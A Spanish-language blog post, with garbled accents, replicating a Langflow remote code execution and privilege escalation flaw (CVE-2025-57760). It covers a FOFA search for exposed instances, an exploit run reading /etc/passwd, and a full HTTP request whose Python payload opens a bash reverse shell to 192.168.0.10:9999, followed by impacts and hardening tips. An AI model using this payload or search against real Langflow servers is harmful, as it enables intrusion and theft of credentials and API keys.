馃毃Alert馃毃 CVE-2025-57760

馃敟 POC publicado: GitHub Advisory

Introducci贸n

En el mundo de la ciberseguridad ya hemos visto un sin n煤mero de CVE y replicados, en algunos casos hasta parece mentira que se vuelvan a ver esta situaciones, indistintamente de la tecnolog铆a que estemos probando. Recientemente vimos un tweet donde se avisaba de una vulnerabilidad en Langflow, interfaz gr谩fica para construir, visualizar y administrar flujos de trabajo basados en modelos de lenguajes LLM, con modelos locales o con los GPT de OpenAI. Sin necesidad de escribir c贸digo.

Esto implica un beneficio ya que evita escribir c贸digo para interactuar con APIs LLM, simplificando el desarrollo para cient铆ficos de datos, profesionales de IA o hasta para no desarrolladores.

En este articulo deseo demostrarle lo f谩cil que es replicar un CVE-2025.

Origen del Hallazgo

1

Fuente: https://x.com/HunterMapping/status/1960285594409410770

Este aviso era todo lo que necesitamos para ponernos manos a la obra

Un simple query con fofa https://fofa.so/result?qbase64=IkxhbmdmbG93IiAmJiB0aXRsZT09IkxhbmdmbG93Ig%3D%3D

"Langflow" && title=="Langflow"

2

Nos arrojaba el resultado de aproximadamente 3193 resultados, 1977 ips 煤nicas

Nota: estas pruebas fueron realizadas en un entorno controlado, sin embargo aclaramos que la replicaci贸n de la misma es sumamente trivial

Revisando el reporte https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r, ten铆amos una idea claro de como funcionaba la vulnerabilidad.

  1. La herramienta langflow para su implementaci贸n r谩pida utiliziba una imagen de docker que expone informaci贸n sensitiva incluyendo el comando langflow superuser
  2. Combinada con el endpoint /api/v1/validate/code, permite que un usuario pueda ejecutar /app/.venv/bin/langflow superuser dentro del contenedor y otorgarse permisos de superuser.
Poc
  1. Probamos el exploit en un entorno controlado

    python3 cve-2025-3248.py http://ip:8501 'cat /etc/passwd'

    3

    Ejecuci贸n de comandos remoto

    4

    Descubrimos que en algunos casos, no hab铆a autenticaci贸n b谩sica

    5

    En otros casos observamos la exposici贸n de API keys de diversos servicios, se notifico a los respectivos equipos sin 茅xito.

  2. Una vez ya entendimos la vulnerabilidad solamente necesitamos modificar el payload para obtener una shell reversa

    6

    En la petici贸n cambiamos el endpoint al endpoint (/api/v1/validate/code) vulnerable y se realizo tipo

    POST  /api/v1/validate/code HTTP/1.1
    Host: ip:8501
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
    Accept: application/json, text/plain, */*
    Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0ODgzNWNmNy05OGIxLTQzNTctOTEyYi0zNWJjZmJlYjk5NGMiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg4ODE2ODQxfQ.onTcMcF0Hc7KhcKDZ1BGT2p6k_57C-AQnegoq1kqOF4
    Connection: keep-alive
    Referer: http://ip:8501/flows
    Cookie: access_token_lf=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0ODgzNWNmNy05OGIxLTQzNTctOTEyYi0zNWJjZmJlYjk5NGMiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzg4ODE2ODQxfQ.onTcMcF0Hc7KhcKDZ1BGT2p6k_57C-AQnegoq1kqOF4; apikey_tkn_lflw=""; auto_login_lf=auto; sidebar:state=true
    Content-Length: 124
       
       
    {
      "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.0.10/9999 0>&1'\")):\n    pass"
    }
       
    

    7

  3. Impacto

    • Escalaci贸n de privilegios a nivel de superusuario: control total de la instancia de Langflow.
    • Acceso a todos los datos, flujos, credenciales y configuraci贸n de los usuarios.
    • Fuga de credenciales: el atacante puede extraer claves de API de terceros.
    • Exposici贸n de variables de entorno (dentro del contenedor Docker).
    • Posibilidad de ejecutar instancias adicionales de Langflow mediante el comando 芦langflow run禄 dentro del contenedor, lo que puede agotar los recursos (CPU, memoria) y provocar la degradaci贸n del servicio.
    • Gesti贸n integral de usuarios: el superusuario puede eliminar usuarios y restablecer sus contrase帽as.
  4. Recomendaciones

    • Nunca ejecutar langflow con privilegios de root
    • Validar siempre el entorno
    • Aplicar pol铆ticas de contenedor seguro
Conclusiones

Replicar esta prueba con el conocimiento necesario para la misma fue cuesti贸n de 30 minutos a 1 hora m谩ximo, indistintamente de la necesidad de implementar aplicaciones modernas y no bajarnos del la ola de IA, debes tomar las medidas de seguridad m铆nimas y no dejar configuraciones por defecto por el apuro de desplegar un proyecto a producci贸n.

Referencias
  • Langflow-Ai. (n.d.). Privilege escalation via CLI Superuser Creation (Post-RCE). GitHub. https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r